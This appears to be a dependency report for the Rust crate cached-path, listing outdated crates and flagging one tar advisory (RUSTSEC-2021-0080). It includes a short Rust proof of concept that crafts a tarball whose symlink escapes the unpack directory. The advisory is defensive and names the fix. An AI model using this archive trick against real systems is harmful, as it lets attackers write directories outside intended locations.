This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate cached-path

Dependencies

(19 total, 6 outdated, 1 possibly insecure)

CrateRequiredLatestStatus
 color-eyre^0.60.6.5up to date
 env_logger^0.100.11.8out of date
 flate2^1.01.1.1up to date
 fs2^0.40.4.3up to date
 glob^0.30.3.2up to date
 indicatif^0.160.17.11out of date
 infer^0.19.00.19.0up to date
 log^0.40.4.27up to date
 lzma-rs^0.30.3.0up to date
 rand^0.80.9.1out of date
 reqwest^0.11.00.12.18out of date
 serde^1.01.0.219up to date
 serde_json^1.01.0.140up to date
 sha2^0.100.10.9up to date
 structopt^0.30.3.26up to date
 tar ⚠️^0.40.4.44maybe insecure
 tempfile^3.13.20.0up to date
 thiserror^1.02.0.12out of date
 zip^0.64.0.0out of date

Dev dependencies

(3 total, 2 outdated)

CrateRequiredLatestStatus
 assert_cmd^1.02.0.17out of date
 httpmock^0.70.7.0up to date
 predicates^2.13.1.3out of date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!